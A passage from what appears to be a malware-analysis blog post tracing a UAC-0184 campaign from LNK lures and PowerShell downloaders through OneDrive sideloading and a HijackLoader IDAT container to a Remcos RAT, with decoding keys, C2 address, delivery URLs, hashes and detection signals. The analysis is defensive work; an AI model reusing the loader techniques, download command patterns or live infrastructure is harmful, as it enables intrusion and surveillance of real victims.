This is the clearest technical connection to the previous sample.

The earlier chain:

The new chain:

The values changed:

  • different filenames;
  • different offsets;
  • different arithmetic keys;
  • different XOR keys;
  • different IDAT count;
  • different decompressed payload.

The architecture did not.

Both chains use:

  • a small local file containing arithmetic-encoded shellcode;
  • a larger secondary container with a printable filler prefix;
  • PNG-style IDAT chunks without a valid PNG header;
  • concatenation of chunk data;
  • fixed 32-bit XOR decoding;
  • Windows LZNT1 decompression;
  • a larger modular payload bundle;
  • execution through a legitimate software package.

This is a much more useful tracking characteristic than a filename or hash.
Hashes disappear when the sample is rebuilt.
The loader architecture requires actual development work to replace.

A 35-module HijackLoader bundle

The decompressed output contains a table of 35 named modules.

Relevant entries include:

LauncherLdr64

modCreateProcess
modCreateProcess64

modTask
modTask64

modUAC
modUAC64

modWD
modWD64

modWriteFile
modWriteFile64

rshell
rshell64

ti
ti64

CUSTOMINJECT
CUSTOMINJECTPATH

PERSDATA

The module names expose the frameworks modular design.

There are separate 32-bit and 64-bit components for:

  • process creation;
  • scheduled-task execution;
  • UAC-related functionality;
  • Windows Defender interaction;
  • writing files;
  • reverse-shell execution;
  • custom injection.

The observed format is consistent with HijackLoader, also tracked as IDATLoader.

The IDAT container is therefore not an isolated packer trick.
It belongs to a wider modular loader framework that can deploy different components and final payloads depending on its configuration.

Embedded PE files inside the loader bundle

The 35 module entries do not represent 35 standalone executables.

Many of them are shellcode fragments, configuration blocks or small architecture-specific routines. However, a structural scan of the fully decompressed HijackLoader bundle recovered eight complete PE files.

These files were carved from the same LZNT1-decompressed bundle described above, not from the final Remcos payload.

Embedded PEArchitectureInternal role or identification
tcpvcon.exex86Microsoft Sysinternals TCPView Console
FIXEDx86Info-ZIP-based archive utility
LauncherLdr64x6464-bit launcher component
tinystubx8632-bit execution stub
tinystub64x6464-bit execution stub
tinyutilitymodule.dllx8632-bit utility DLL
tinyutilitymodule64.dllx6464-bit utility DLL
CUSTOMINJECTx86 GUIHearthstoneDeckTracker.exe, likely used as the CUSTOMINJECT host

These files were carved from the fully decompressed HijackLoader bundle, not from the final Remcos payload.

Seven of the eight PE offsets correspond directly to entries in the recovered 35-module table.
The exception is tcpvcon.exe, which is stored near the beginning of the decompressed bundle before the named module data.

The first embedded executable is the legitimate Microsoft Sysinternals TCPView Console utility. Its original strings and license resources remain intact, including:

Usage: tcpvcon [-a] [-c] [-n] [process name or PID]

The module named FIXED contains Info-ZIP strings and appears to be a bundled or modified ZIP command-line utility.

The remaining binaries form part of the loaders execution and injection framework, with separate components for 32-bit and 64-bit systems.

The final carved PE is a legitimate copy of HearthstoneDeckTracker.exe. Its placement within the bundle suggests that it may be used as a host process for the loaders CUSTOMINJECT execution path, rather than being the injector itself.

Importantly, this executable is not the final Remcos payload!
Remcos is stored separately in an encrypted tail region and only becomes a valid PE after applying the repeating 200-byte XOR layer and removing the leading key area.

This distinction shows that the decompressed stage is not simply a packed RAT. It is a complete deployment framework containing legitimate utilities, architecture-specific loaders, execution stubs and a signed host process for custom injection around the separately encrypted final payload.

A retained internal deployment path

One configuration value is especially interesting:

%windir%\SysWOW64\input.dll

The same destination also appeared in the previous UAC-0184 sample.
In the earlier chain, input.dll belonged to the PassMark-based execution stack and was deployed together with VSLauncher.exe.
The new loader bundle again contains the same input.dll path.
This is a stronger tooling connection than the generic use of DLL sideloading.
The external software stack changed from Plane9 to OneDrive, but part of the internal deployment logic remained intact.
That is often how real tooling evolution looks.

Operators rotate the components most visible to defenders while retaining internal routines, path conventions and loader modules that continue to work.

The final encrypted region

The modular bundle contains another encrypted area of approximately 514 KB.

Its first 200 bytes form the XOR key.

Applying those 200 bytes cyclically to the complete encrypted region turns the key area into zeroes. A valid PE file begins immediately afterward at offset:

0xC8

The recovered executable identifies itself as:

Remcos Agent 7.1.0 Pro

Unlike the final stage in the previous sample, this leaves little ambiguity about the intended capability.
HijackLoader handles staging and execution.
Remcos provides the remote-access functionality.

Recovering the Remcos configuration

The Remcos executable contains a resource named:

SETTINGS

The resource uses RC4 encryption and follows a simple structure:

1 byte      key length
62 bytes    RC4 key
remaining   encrypted configuration

Decrypting the resource produces 58 configuration fields.

Relevant values include:

C2:               144.31.236.240:27018
Install filename: remcos.exe
Mutex:            Rmc-X5JFP2
Log filename:     logs.dat
Screenshot path:  Screenshots
Microphone path:  MicRecords

The key difference from the previous sample is the presence of a clear, statically recoverable controller.
The earlier PassMark-based bundle did not expose an unambiguous external C2 endpoint in the analyzed artifacts.

This Remcos configuration does:

144.31.236.240:27018

The address is the same server used by the LNK shortcuts and PowerShell downloaders.

The decoy material

The secondary archive includes three image files:

JPG_012.jpg
JPG_013.jpg
JPG_014.jpg

and one spreadsheet:

spisokszch.xlsx

The Excel sheet spisokszch.xlsx is an internal Ukrainian military roster of AWOL/desertion cases (СЗЧ): 39 soldiers with names, ranks, AWOL dates, order and criminal case number and status.
In this redacted version, all names, case/order numbers and unit IDs are removed by me, since I don’t know if this file is authentic.

These file names correspond directly to the initial LNK lures.
The recovered PowerShell scripts explicitly open either JPG_012.jpg or JPG_013.jpg after starting ClusterHub.exe.
The images therefore serve as visible decoys.
The spreadsheet is a valid workbook containing a single sheet with 108 used rows.

Its content relates to Ukrainian military administration and includes fields such as:

  • military rank;
  • full name;
  • date of unauthorized absence;
  • date of return;
  • appointment and result order numbers;
  • referrals to the State Bureau of Investigation;
  • ERDR case information;
  • current location or status.

The workbook contains personal information, so individual rows and names are intentionally not reproduced here.
The targeting context is nevertheless clear.
It relates to Ukrainian military personnel and unauthorized absence cases.
The document may have been created as a tailored lure, modified from an existing document or reused after being obtained elsewhere.
The artifact alone does not establish which scenario is correct.
It does demonstrate that the delivery package was prepared for a specific Ukrainian military-administrative audience.

What changed from the previous sample?

The tooling evolution becomes easier to see side by side.

ComponentPrevious sampleNew sample
Initial lureLNK leading to gated HTA stagesZIP containing four document-named LNK files
First downloaderbitsadmin / mshta.execmd.exe → temporary VBScript → PowerShell
Delivery server169.40.135.35144.31.236.240
Secondary archivedctrprraclus.zipszch45clusterhum.zip
Extraction directory%APPDATA%\ApplicationData32MSWinDistro
Visible hostPlane9 / Cluster-Overlay64.exeOneDrive Patcher renamed ClusterHub.exe
Loader DLLsPlane9Engine.dll, openvr_api.dll, evr.dllUpdateRingSettings.dll, LoggingPlatform.dll
Small containerkernel-diag.libmonitor_base.sym
Large containerfilter.binphysicsdesc.map
Container designFake prefix plus PNG IDAT chunksFake prefix plus PNG IDAT chunks
Initial decodingDWORD additionDWORD addition
Main decodingDWORD XORDWORD XOR
CompressionLZNT1LZNT1
BundleEight carved PEs and PassMark stack35 named HijackLoader modules
Reused path%windir%\SysWOW64\input.dll%windir%\SysWOW64\input.dll
Final capabilitySigned network-capable utility stackRemcos Agent 7.1.0 Pro
Static C2Not recovered144.31.236.240:27018

The delivery mechanism changed more substantially than the internal decoding pipeline.
The previous chain relied on HTA files and a gated delivery path.
The new sample uses document-named shortcuts, a temporary VBScript downloader and small PowerShell stages

Once ClusterHub.exe starts, however, the chain returns to a familiar design.
This suggests that the delivery mechanism and the core loader can be changed independently.
The actor can replace the initial access package without rebuilding the complete payload framework.

Infrastructure Intelligence Model chain

The observed infrastructure and artifact flow can be represented as the following IIM chain:

[ENTRY]
spisokszch.zip
    ├── README.txt
    ├── JPG_012.jpg.lnk
    ├── JPG_013.jpg.lnk
    ├── JPG_014.jpg.lnk
    └── spisokszch.xlsx.lnk

[STAGING]
JPG_012.jpg.lnk
    └── downloads /szch45/ritecommunion.ps1

JPG_013.jpg.lnk
    └── downloads /szch45/shoutnewspaper.ps1

JPG_014.jpg.lnk
    └── downloads /szch45/hintprefix.ps1

spisokszch.xlsx.lnk
    └── downloads /szch45/collectivisationgown.ps1

[DELIVERY INFRASTRUCTURE]
144.31.236.240
    ├── hosts PowerShell stages
    └── hosts /szch45clusterhum.zip

[SECONDARY STAGING]
PowerShell stage
    └── downloads szch45clusterhum.zip
            ├── ClusterHub.exe
            ├── UpdateRingSettings.dll
            ├── LoggingPlatform.dll
            ├── monitor_base.sym
            └── physicsdesc.map

[LOADER PIPELINE]
ClusterHub.exe
    └── executes UpdateRingSettings.dll
            └── decodes monitor_base.sym
                    └── parses physicsdesc.map
                            └── reconstructs HijackLoader bundle

[PAYLOAD]
HijackLoader bundle
    └── decodes Remcos Agent 7.1.0 Pro

[C2]
Remcos
    └── 144.31.236.240:27018

(IIM view in KRAKEN)

If you want to work with the chain yourself, here’s the JSON.

Click to view Chain as JSON
{
  "actor_id": "UAC-0184",
  "attack_annotations": [
    {
      "name": "Malicious File",
      "technique_id": "T1204.002"
    },
    {
      "name": "PowerShell",
      "technique_id": "T1059.001"
    },
    {
      "name": "Mshta / signed binary proxy execution context not used in this sample; retained only for comparison",
      "technique_id": "T1218.005",
      "x_comparison_only": true
    },
    {
      "name": "DLL Side-Loading",
      "technique_id": "T1574.002"
    },
    {
      "name": "Deobfuscate/Decode Files or Information",
      "technique_id": "T1140"
    },
    {
      "name": "Embedded Payloads",
      "technique_id": "T1027.009"
    },
    {
      "name": "Process Injection",
      "technique_id": "T1055"
    }
  ],
  "chain": [
    {
      "entity_id": "e_initial_zip",
      "role": "entry",
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "techniques": [
        "IIM-T024"
      ]
    },
    {
      "entity_id": "e_readme",
      "role": "entry",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_lnk_012",
      "role": "entry",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_lnk_013",
      "role": "entry",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_lnk_014",
      "role": "entry",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_lnk_xlsx",
      "role": "entry",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_ps1_rite_url",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_ps1_shout_url",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_ps1_hint_url",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_ps1_collect_url",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_rite_ps1",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_shout_ps1",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_delivery_ip",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_payload_zip_url",
      "role": "staging",
      "role_confidence": "confirmed",
      "technique_confidence": "likely",
      "techniques": [
        "IIM-T024"
      ]
    },
    {
      "entity_id": "e_payload_zip",
      "role": "staging",
      "role_confidence": "confirmed",
      "technique_confidence": "confirmed",
      "techniques": [
        "IIM-T024"
      ]
    },
    {
      "entity_id": "e_clusterhub",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_update",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_logging",
      "role": "staging",
      "role_confidence": "likely",
      "techniques": []
    },
    {
      "entity_id": "e_monitor",
      "role": "staging",
      "role_confidence": "confirmed",
      "technique_confidence": "tentative",
      "techniques": [
        "IIM-T025"
      ]
    },
    {
      "entity_id": "e_shellcode",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_physics",
      "role": "staging",
      "role_confidence": "confirmed",
      "technique_confidence": "tentative",
      "techniques": [
        "IIM-T025"
      ]
    },
    {
      "entity_id": "e_idat_stream",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_hijack_bundle",
      "role": "staging",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_inputdll",
      "role": "staging",
      "role_confidence": "likely",
      "techniques": []
    },
    {
      "entity_id": "e_remcos",
      "role": "payload",
      "role_confidence": "confirmed",
      "techniques": []
    },
    {
      "entity_id": "e_c2",
      "role": "c2",
      "role_confidence": "confirmed",
      "techniques": []
    }
  ],
  "chain_id": "uac-0184-onedrive-sideload-remcos-2026-06",
  "confidence": "confirmed",
  "description": "Ukraine-themed archive containing document- and image-named LNK files. The shortcuts retrieve PowerShell downloaders from 144.31.236.240, which download and extract szch45clusterhum.zip, execute a OneDrive Patcher-based sideload chain, decode local pseudo-PNG IDAT containers through DWORD arithmetic and LZNT1, load a 35-module HijackLoader bundle and recover Remcos Agent 7.1.0 Pro configured for 144.31.236.240:27018.",
  "entities": [
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_initial_zip",
      "type": "file",
      "value": "spisokszch.zip",
      "x_sha256": "c74bb6fb848cdb87c2b4261da1efc078023cdf95aa7b1436c52c26f3a11025af"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_readme",
      "type": "file",
      "value": "README.txt",
      "x_language": "Ukrainian",
      "x_lure_instruction": "Extract the files to the desktop and open them outside the archive",
      "x_sha256": "86bac1444fef0b07eec10dcd4a5859a2296954f6b5a36690dc7c27e2931b9ccc"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_lnk_012",
      "type": "file",
      "value": "JPG_012.jpg.lnk",
      "x_sha256": "bb40c9d8c217516a92a18a1bdb080a5af92cfafe81f6751dea665e3e78cb4851"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_lnk_013",
      "type": "file",
      "value": "JPG_013.jpg.lnk",
      "x_sha256": "fe38e54bedee074825eb3fcbe4824ed203876692a424e0c183e0006b31d1b7a8"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_lnk_014",
      "type": "file",
      "value": "JPG_014.jpg.lnk",
      "x_sha256": "a8d0a03543db29d279175c9679eba574dcb7a17e306195a68ab1d033ee2be01c"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_lnk_xlsx",
      "type": "file",
      "value": "spisokszch.xlsx.lnk",
      "x_sha256": "6754f3854680767a394b22090f277fc53ec5a242faff54bf233084da5989c3ef"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_ps1_rite_url",
      "type": "url",
      "value": "http://144.31.236.240/szch45/ritecommunion.ps1"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_ps1_shout_url",
      "type": "url",
      "value": "http://144.31.236.240/szch45/shoutnewspaper.ps1"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_ps1_hint_url",
      "type": "url",
      "value": "http://144.31.236.240/szch45/hintprefix.ps1"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_ps1_collect_url",
      "type": "url",
      "value": "http://144.31.236.240/szch45/collectivisationgown.ps1"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_rite_ps1",
      "type": "file",
      "value": "ritecommunion.ps1",
      "x_decoy": "JPG_012.jpg",
      "x_sha256": "adf2c6f80229677615358b56f329aba9c3e9e009d9ca6d6deb0b805e6e212dbc"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_shout_ps1",
      "type": "file",
      "value": "shoutnewspaper.ps1",
      "x_decoy": "JPG_013.jpg",
      "x_sha256": "43579dd80314b6de4a1ca4e40b53ef0376a2ab55d50c8368e0b26af0af0d08c7"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_delivery_ip",
      "type": "ip",
      "value": "144.31.236.240",
      "x_delivery_paths": [
        "/szch45/ritecommunion.ps1",
        "/szch45/shoutnewspaper.ps1",
        "/szch45/hintprefix.ps1",
        "/szch45/collectivisationgown.ps1",
        "/szch45clusterhum.zip"
      ]
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_payload_zip_url",
      "type": "url",
      "value": "http://144.31.236.240/szch45clusterhum.zip"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_payload_zip",
      "type": "file",
      "value": "szch45clusterhum.zip",
      "x_sha256": "fee96a66a8c143ff4f172963a56a813427a65dad7758834bb3283685a37df633"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_clusterhub",
      "type": "file",
      "value": "ClusterHub.exe",
      "x_execution_path": "MSWinDistro/ClusterHub.exe",
      "x_legitimate_software": "Microsoft OneDrive Patcher",
      "x_sha256": "a11339f52a3b31d5a1f134e19bfc83d260ccbde4f14b14889bd824cc636c9a93"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_update",
      "type": "file",
      "value": "UpdateRingSettings.dll",
      "x_role_note": "Sideloaded loader DLL",
      "x_sha256": "da48273d7d4ab1d71ecf50fec0a58884ddb2baf18d872f25cab3637519ef71d7"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_logging",
      "type": "file",
      "value": "LoggingPlatform.dll",
      "x_role_note": "Companion/forwarder DLL",
      "x_sha256": "c0713fd808170f2204a9bc091288e358c5f3266bf99a44f3a36a7ccc03732bb1"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_monitor",
      "type": "file",
      "value": "monitor_base.sym",
      "x_decoder": "DWORD addition at offset 0x6BD8; decoded size 0x2084; key 0x3A12EA50"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_shellcode",
      "type": "file",
      "value": "monitor_base.sym decoded x64 shellcode",
      "x_parser_marker": "????IDAT",
      "x_size_bytes": 8324,
      "x_stomping_library": "tapisrv.dll"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_physics",
      "type": "file",
      "value": "physicsdesc.map",
      "x_first_idat_offset": "0x4052",
      "x_format": "Noise prefix followed by 164 PNG-style IDAT chunks and IEND"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_idat_stream",
      "type": "file",
      "value": "physicsdesc.map concatenated IDAT stream",
      "x_compressed_size": "0x145E3A",
      "x_compression": "LZNT1",
      "x_decompressed_size": "0x20AE58",
      "x_dword_xor_key": "0x54EBEC5E",
      "x_marker": "0xEA79A5C6"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_hijack_bundle",
      "type": "file",
      "value": "HijackLoader / IDATLoader modular bundle",
      "x_module_count": 35,
      "x_modules": [
        "ti",
        "ti64",
        "rshell",
        "rshell64",
        "modUAC",
        "modUAC64",
        "modWD",
        "modWD64",
        "modTask",
        "modTask64",
        "modWriteFile",
        "modWriteFile64",
        "CUSTOMINJECT",
        "PERSDATA"
      ]
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_inputdll",
      "type": "file",
      "value": "%windir%\\SysWOW64\\input.dll",
      "x_role_note": "Configured module-stomping/deployment target also observed in the previous UAC-0184 sample"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_remcos",
      "type": "file",
      "value": "Remcos Agent 7.1.0 Pro",
      "x_config_cipher": "RC4",
      "x_config_resource": "SETTINGS",
      "x_install_filename": "remcos.exe",
      "x_mutex": "Rmc-X5JFP2",
      "x_sha256": "40079f05ba7cdccac1f62f8e7e1b644bc0a806b58465f5c005725bc54ee73ef1"
    },
    {
      "evidence": [
        "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/"
      ],
      "id": "e_c2",
      "type": "ip",
      "value": "144.31.236.240",
      "x_port": 27018,
      "x_protocol": "tcp",
      "x_role_note": "Remcos C2 recovered from decrypted SETTINGS resource"
    }
  ],
  "iim_version": "1.1",
  "name": "UAC-0184 LNK and PowerShell delivery to OneDrive sideload, HijackLoader and Remcos",
  "needs_review": true,
  "relations": [
    {
      "confidence": "confirmed",
      "from": "e_initial_zip",
      "sequence_order": 1,
      "to": "e_readme",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_initial_zip",
      "sequence_order": 2,
      "to": "e_lnk_012",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_initial_zip",
      "sequence_order": 3,
      "to": "e_lnk_013",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_initial_zip",
      "sequence_order": 4,
      "to": "e_lnk_014",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_initial_zip",
      "sequence_order": 5,
      "to": "e_lnk_xlsx",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_lnk_012",
      "sequence_order": 6,
      "to": "e_ps1_rite_url",
      "type": "download"
    },
    {
      "confidence": "confirmed",
      "from": "e_lnk_013",
      "sequence_order": 7,
      "to": "e_ps1_shout_url",
      "type": "download"
    },
    {
      "confidence": "confirmed",
      "from": "e_lnk_014",
      "sequence_order": 8,
      "to": "e_ps1_hint_url",
      "type": "download"
    },
    {
      "confidence": "confirmed",
      "from": "e_lnk_xlsx",
      "sequence_order": 9,
      "to": "e_ps1_collect_url",
      "type": "download"
    },
    {
      "confidence": "confirmed",
      "from": "e_ps1_rite_url",
      "sequence_order": 10,
      "to": "e_rite_ps1",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_ps1_shout_url",
      "sequence_order": 11,
      "to": "e_shout_ps1",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_ps1_rite_url",
      "sequence_order": 12,
      "to": "e_delivery_ip",
      "type": "resolves-to"
    },
    {
      "confidence": "confirmed",
      "from": "e_ps1_shout_url",
      "sequence_order": 13,
      "to": "e_delivery_ip",
      "type": "resolves-to"
    },
    {
      "confidence": "confirmed",
      "from": "e_ps1_hint_url",
      "sequence_order": 14,
      "to": "e_delivery_ip",
      "type": "resolves-to"
    },
    {
      "confidence": "confirmed",
      "from": "e_ps1_collect_url",
      "sequence_order": 15,
      "to": "e_delivery_ip",
      "type": "resolves-to"
    },
    {
      "confidence": "confirmed",
      "from": "e_payload_zip_url",
      "sequence_order": 16,
      "to": "e_delivery_ip",
      "type": "resolves-to"
    },
    {
      "confidence": "confirmed",
      "from": "e_rite_ps1",
      "sequence_order": 17,
      "to": "e_payload_zip_url",
      "type": "download"
    },
    {
      "confidence": "confirmed",
      "from": "e_shout_ps1",
      "sequence_order": 18,
      "to": "e_payload_zip_url",
      "type": "download"
    },
    {
      "confidence": "confirmed",
      "from": "e_payload_zip_url",
      "sequence_order": 19,
      "to": "e_payload_zip",
      "type": "download"
    },
    {
      "confidence": "confirmed",
      "from": "e_payload_zip",
      "sequence_order": 20,
      "to": "e_clusterhub",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_payload_zip",
      "sequence_order": 21,
      "to": "e_update",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_payload_zip",
      "sequence_order": 22,
      "to": "e_logging",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_payload_zip",
      "sequence_order": 23,
      "to": "e_monitor",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_payload_zip",
      "sequence_order": 24,
      "to": "e_physics",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_clusterhub",
      "sequence_order": 25,
      "to": "e_update",
      "type": "execute"
    },
    {
      "confidence": "likely",
      "from": "e_update",
      "sequence_order": 26,
      "to": "e_logging",
      "type": "execute"
    },
    {
      "confidence": "confirmed",
      "from": "e_update",
      "sequence_order": 27,
      "to": "e_monitor",
      "type": "references"
    },
    {
      "confidence": "confirmed",
      "from": "e_monitor",
      "sequence_order": 28,
      "to": "e_shellcode",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_shellcode",
      "sequence_order": 29,
      "to": "e_physics",
      "type": "references"
    },
    {
      "confidence": "confirmed",
      "from": "e_physics",
      "sequence_order": 30,
      "to": "e_idat_stream",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_idat_stream",
      "sequence_order": 31,
      "to": "e_hijack_bundle",
      "type": "drops"
    },
    {
      "confidence": "likely",
      "from": "e_hijack_bundle",
      "sequence_order": 32,
      "to": "e_inputdll",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_hijack_bundle",
      "sequence_order": 33,
      "to": "e_remcos",
      "type": "drops"
    },
    {
      "confidence": "confirmed",
      "from": "e_remcos",
      "sequence_order": 34,
      "to": "e_c2",
      "type": "connect"
    }
  ],
  "title": "UAC-0184 LNK and PowerShell delivery to OneDrive sideload, HijackLoader and Remcos",
  "x_evidence_url": "https://blog.synapticsystems.de/uac-0184-tooling-evolution-onedrive-sideload-to-remcos/",
  "x_note": "Only ritecommunion.ps1 and shoutnewspaper.ps1 were available for direct inspection. hintprefix.ps1 and collectivisationgown.ps1 are confirmed as LNK-referenced URLs, but their bodies were not present in the analyzed set. Endpoint execution details are retained as chain context; IIM technique annotations are limited to applicable infrastructure/container properties."
}

You can test it in the IIM Workbench


The same IP is therefore visible at both the staging and C2 positions.
The chain does not show a separate redirector, domain or frontend service in the analyzed artifacts.

The IIM representation also highlights an important distinction:

144.31.236.240:80

is used for delivery while:

144.31.236.240:27018

is used by the final payload for command and control.

They are the same infrastructure entity performing different roles within the campaign flow.

Defensive observations

The strongest detections should focus on combinations of artifacts and behavior rather than one filename.

Initial archive and shortcut signals

Investigate archives containing apparent image or Office filenames that end in .lnk, especially when accompanied by instructions telling the user to extract them before opening.

The observed shortcut command lines combine:

cmd.exe /v /c
MSXML2.XMLHTTP
ADODB.Stream
cscript //b
powershell -NoP -W Hidden -ExecutionPolicy Bypass

The API names are reconstructed from smaller strings and the downloaded scripts are deleted after execution.

PowerShell staging signals

The recovered scripts:

  • download szch45clusterhum.zip;
  • create an MSWinDistro directory;
  • extract the archive;
  • execute MSWinDistro/ClusterHub.exe;
  • open a matching JPG decoy.

The combination of an application-like extraction directory, OneDrive components and image decoys is unusual.

OneDrive sideload signals

Investigate OneDrive-related binaries running from:

Downloads
Desktop
%TEMP%
%APPDATA%

or from an archive-created directory such as:

MSWinDistro

The following local combination is particularly relevant:

ClusterHub.exe
UpdateRingSettings.dll
LoggingPlatform.dll
monitor_base.sym
physicsdesc.map

Container-level signals

The local payload containers can be detected structurally:

  • large printable filler prefix;
  • no valid PNG signature;
  • repeated big-endian PNG chunk lengths;
  • many consecutive IDAT chunks;
  • final IEND;
  • reconstructed data that becomes meaningful after DWORD XOR and LZNT1 decompression.

These properties are likely to survive filename and hash rotation.

Network signals

Relevant observed endpoints are:

http://144.31.236[.]240/szch45/ritecommunion.ps1
http://144.31.236[.]240/szch45/shoutnewspaper.ps1
http://144.31.236[.]240/szch45/hintprefix.ps1
http://144.31.236[.]240/szch45/collectivisationgown.ps1
http://144.31.236[.]240/szch45clusterhum.zip
144.31.236[.]240:27018

Connections to the HTTP paths indicate delivery activity.

Connections to TCP port 27018 are associated with the recovered Remcos configuration.

Conclusion

The newly recovered initial artifacts complete the chain.

The campaign does not begin with ClusterHub.exe.

It begins with a Ukrainian-language archive containing four shortcuts disguised as images and a spreadsheet.

Those shortcuts construct a small VBScript downloader, retrieve PowerShell stages and delete the temporary files after execution. The PowerShell scripts download a second ZIP, extract a OneDrive-themed application package, start the sideload host and open a real decoy file.

From that point onward, the chain follows the same broad architecture documented in the previous UAC-0184 sample:

The actor changed the delivery mechanism.

  • They replaced the Plane9 exterior with OneDrive
  • They rotated the container names, keys, offsets and final payload
  • They retained the core loading pipeline and even reused the internal %windir%\SysWOW64\input.dll path

The newest build also provides a much clearer endgame.

The modular HijackLoader bundle decodes Remcos Agent 7.1.0 Pro, configured to communicate with the same server that delivered the initial PowerShell stages and secondary archive:

144.31.236.240:27018

The exterior changed.
The loader skeleton remained.
And this time, the complete path from the first click to the final controller is visible.

Core indicators

Initial archive
spisokszch.zip
SHA-256:
c74bb6fb848cdb87c2b4261da1efc078023cdf95aa7b1436c52c26f3a11025af

JPG_012.jpg.lnk
SHA-256:
bb40c9d8c217516a92a18a1bdb080a5af92cfafe81f6751dea665e3e78cb4851

